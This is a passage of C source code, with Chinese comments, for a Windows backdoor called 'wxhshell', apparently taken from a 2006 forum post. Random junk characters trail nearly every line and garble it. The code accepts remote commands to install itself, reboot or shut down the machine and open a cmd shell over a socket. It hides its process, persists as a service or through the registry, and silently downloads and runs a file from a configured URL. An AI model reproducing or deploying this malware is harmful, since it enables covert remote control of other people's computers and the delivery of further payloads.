  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' P-K}Y  
  } OtQKDpJq  
  else { rR C3^X`u  
X]y3~|K  
    switch(cmd[0]) { rM>&! ?y+  
  @X\nY</E#M  
  // 帮助 ?kS5=&<  
  case '?': { hb? |fi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _MMz x2}  
    break; YT&_{nL#\  
  } $V5Ol6@ 2  
  // 安装 kN>d5q9b%X  
  case 'i': { 7Jc=`Zm'  
    if(Install()) zWjGGTP~3&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kO2im+y  
    else WQ"ZQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #NL1N_B  
    break; zROyG  
    } D-,sF8{ i  
  // 卸载 cteHuRd  
  case 'r': { |'KNR]: N  
    if(Uninstall()) ?pQ, 5+8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }T(|\ X  
    else eh)J'G]G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `L9o !OsQ  
    break; 2ix_,yTO  
    } Yq5}r?N  
  // 显示 wxhshell 所在路径 sV[|op  
  case 'p': { 1N#TL"lMS  
    char svExeFile[MAX_PATH]; !uHI5k,f  
    strcpy(svExeFile,"\n\r"); #UXmTrZ.  
      strcat(svExeFile,ExeFile); CT"0"~~  
        send(wsh,svExeFile,strlen(svExeFile),0); %Yd}},X_E  
    break; Y{p *$  
    } AA05wpu8  
  // 重启 \uanQ|Nu  
  case 'b': { F7"Ihb^l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Gl1`Nx0  
    if(Boot(REBOOT)) 1bj75/i<6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1U"Y'y2  
    else { !' sDqBZ&7  
    closesocket(wsh); -@J;FjrXmP  
    ExitThread(0); c[",WB<9  
    } 8E0Rg/DnT  
    break; KE5f`h  
    } u $sX6  
  // 关机 03rZz1  
  case 'd': { Y1 -cz:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qw_qGgbl  
    if(Boot(SHUTDOWN)) _n{N3da  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rp1 u  
    else { G_AAE#r`  
    closesocket(wsh); }#yRa Ip  
    ExitThread(0); ;W+.]_$6)T  
    } w"l8M0$m  
    break; spe9^.SI  
    } <D4)gRRo  
  // 获取shell +Z{ 4OJK  
  case 's': { T>?sPq  
    CmdShell(wsh); 93'%aSDI%  
    closesocket(wsh); jpBE| Nm  
    ExitThread(0); 4|:{apH  
    break; 8-SVgo(  
  } 9)4N2=  
  // 退出 ;'<K}h  
  case 'x': { #lct"8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SH`"o  
    CloseIt(wsh); <&+l;z  
    break; OEAF.  
    } |]m&LC  
  // 离开 ( bBetX  
  case 'q': { Y<0f1N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9r8{9h:  
    closesocket(wsh); }xdI{E1 q)  
    WSACleanup(); X=.+XP]  
    exit(1); ueWG/`ig  
    break; %[p[F~Z^Z  
        } c6lEWC:  
  } kbMIMZC/G  
  } gE$dz#t.  
g#70Sg*d  
  // 提示信息 ^ePSI|EW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WVo%'DtF`  
} ZE=~ re  
  } ipbVQ7  
[C d 2L&9  
  return; U9N}6a=  
} %@r h\Z  
X He=  
// shell模块句柄 `__CL )N|  
int CmdShell(SOCKET sock) ?Z14l0iZ%d  
{ ucA6s:!={  
STARTUPINFO si; 1C|j<w=i  
ZeroMemory(&si,sizeof(si)); }%jb/@~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }_gq vgI>p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s]2k@3|e  
PROCESS_INFORMATION ProcessInfo; uvmNQg  
char cmdline[]="cmd"; |"@E"Za^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;yUY|o  
  return 0; <`N\FM^vo  
} @:c 1+  
[J*)r8ys  
// 自身启动模式 v=`VDQWq  
int StartFromService(void) f0^s*V+  
{ c}{e,t  
typedef struct VKs$J)6  
{ UW>~C  
  DWORD ExitStatus; 0[hl&7 Ab@  
  DWORD PebBaseAddress; S`*al<m  
  DWORD AffinityMask; 'Lm.`U  
  DWORD BasePriority; $9l3 DJ  
  ULONG UniqueProcessId; F1,pAtA  
  ULONG InheritedFromUniqueProcessId; gVI*`$  
}   PROCESS_BASIC_INFORMATION; -m+2l`DLy  
^ #Wf  
PROCNTQSIP NtQueryInformationProcess; Hu'c )|~f  
\?C(fp R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TVjY8L9'h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <"\K|2Sg  
Qe4  
  HANDLE             hProcess; RCmPZ  
  PROCESS_BASIC_INFORMATION pbi; wZOO#&X#r  
10 p+e_@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |]I?^:I  
  if(NULL == hInst ) return 0; Ik}*7D  
O=-|b kO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Mv9s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H?aB8=)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jn+0g:l  
I{RktO;1  
  if (!NtQueryInformationProcess) return 0; fB:M'A'  
p(U'Ydl~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n&Al~-Q:^  
  if(!hProcess) return 0; kKjYMYT6  
3Ys|M%N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f5yd2wKy6  
'l;?P  
  CloseHandle(hProcess); |YlUt~H>  
$[>wJXj3R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CId`6W  
if(hProcess==NULL) return 0; C&;'Pw9H  
F^a D!O ~  
HMODULE hMod; r1=Zoxc=w  
char procName[255]; ;=n7 Z  
unsigned long cbNeeded; 9:kb0oBa?l  
8F@6^9C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (Ux%7H_d  
$ &^ ,(z9  
  CloseHandle(hProcess); "jpjBH:c$  
lRO8}XSI  
if(strstr(procName,"services")) return 1; // 以服务启动 i>rn!?b  
^%<v| Y(X  
  return 0; // 注册表启动 > *_?^F_  
} _>aesp%  
)pvZM?  
// 主模块 $GPA6  
int StartWxhshell(LPSTR lpCmdLine) {bNnhW*qOu  
{ 9j,zaGD0  
  SOCKET wsl; 7"QcvV@p  
BOOL val=TRUE; +(P;4ZOmB  
  int port=0; G_o/ lIz"  
  struct sockaddr_in door; Onc!5L  
`n%~#TJ  
  if(wscfg.ws_autoins) Install(); ~M\s!!t3  
Ti'O 2k  
port=atoi(lpCmdLine); ck@[% ?  
oOD|FrlY  
if(port<=0) port=wscfg.ws_port; *%fOE;-?  
{<]abO  
  WSADATA data; :WxMv~e{U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KS| $_-7 u  
Y0b.utR&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <e=0J8V8,i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wWm#[f],?  
  door.sin_family = AF_INET; vx ,yz+yP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $]T7Iwk  
  door.sin_port = htons(port); |fJ,+)_(  
$Z(zO;k.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r*3;gyG.,#  
closesocket(wsl); m.$Oo Mu'  
return 1; {-E{.7  
} \(z)]D  
gr2zt&Z4  
  if(listen(wsl,2) == INVALID_SOCKET) { ,sc>~B@Q  
closesocket(wsl); iA< EJ  
return 1; eR}d"F4W  
} RM`8P5i]sF  
  Wxhshell(wsl); 62zlO{ >rJ  
  WSACleanup(); kO5KZ;+N-  
U{R*WB b  
return 0; y=&)sq  
k9bU<  
} <D 5QlAN  
0P)c)x5  
// 以NT服务方式启动 te:VYP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w"sRK  
{ Y# lE  
DWORD   status = 0; #?-W.  
  DWORD   specificError = 0xfffffff; #F9$"L1Hg  
@-7K~in?^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T0SD|'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z$pR_dazU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C qxP@  
  serviceStatus.dwWin32ExitCode     = 0; LCdc7  
  serviceStatus.dwServiceSpecificExitCode = 0; *(HH71Y  
  serviceStatus.dwCheckPoint       = 0; 8+!$k!=X  
  serviceStatus.dwWaitHint       = 0; lz>5bR'  
`\qU.m0(j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B]hZ4.B1  
  if (hServiceStatusHandle==0) return; QvqBT  
~+d]yeDrhx  
status = GetLastError(); l p? h~  
  if (status!=NO_ERROR) I,#U _  
{ \"lzmxe0p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C {'c_wX  
    serviceStatus.dwCheckPoint       = 0; ``Nj Nd  
    serviceStatus.dwWaitHint       = 0; C :e 'wmA  
    serviceStatus.dwWin32ExitCode     = status; S=my;M-  
    serviceStatus.dwServiceSpecificExitCode = specificError; s$]I@;_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aE;!mod  
    return; .N5"IY6>  
  } %%f=aPw  
%bv<OMD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OrH&dY  
  serviceStatus.dwCheckPoint       = 0; B8P%4@T  
  serviceStatus.dwWaitHint       = 0; JD'/m hN0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !k[ zUti  
} M 35}5+  
>DV0!'jW  
// 处理NT服务事件,比如:启动、停止 aTPpE9Pa&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @ce4sSo  
{ 0W>O,%z&P#  
switch(fdwControl) k"n#4o:  
{ \t1vYIY]T  
case SERVICE_CONTROL_STOP: Ig6s'^  
  serviceStatus.dwWin32ExitCode = 0; Ge @d"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U} g%`<  
  serviceStatus.dwCheckPoint   = 0; (_W[~df4  
  serviceStatus.dwWaitHint     = 0; q5`Gl  
  { |6uEf/*DX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CZ0 {*K:  
  } > Euput\  
  return; qNvKlwR9;k  
case SERVICE_CONTROL_PAUSE: a'A0CQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6)?TWr'Ke  
  break; 8pk5[=3Z  
case SERVICE_CONTROL_CONTINUE: U?}Maf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +wio:==  
  break; ?Z.YJXoKZ  
case SERVICE_CONTROL_INTERROGATE: JlH|=nIaj6  
  break; XM)|v |  
}; 0!?f9kJq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |e\:0O?  
} `6M(`*Up  
F4PD3E_#  
// 标准应用程序主函数 z=u4&x|xA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M0]fh5O  
{ 11)~!in  
vi=yR  
// 获取操作系统版本 IAtZ-cM<  
OsIsNt=GetOsVer(); H;Bj\-Pa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bM!`C|,[s  
|l ~ADEg  
  // 从命令行安装 Kp99y  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9R E;50h  
WAQv4&xGM  
  // 下载执行文件 BujWql  
if(wscfg.ws_downexe) { lmd0Q(I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  d,H%  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1n5&PNu  
} 4@VX%5uy  
[F>zM  
if(!OsIsNt) { n%O`K{86  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^X?[zc GE  
HideProc(); ;Joo!CXHO  
StartWxhshell(lpCmdLine); ]:f1r8<3p  
} .3Ap+V8?  
else kBT cN D|  
  if(StartFromService()) j9qN!.~mM  
  // 以服务方式启动 @e slF  
  StartServiceCtrlDispatcher(DispatchTable); I4)vJ0  
else Obd!  
  // 普通方式启动 `W/6xm(X5;  
  StartWxhshell(lpCmdLine); wgufk {:  
y_nh~&  
return 0; 7X.1QSuE  
}
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只看该作者 1 发表于: 2006-10-10
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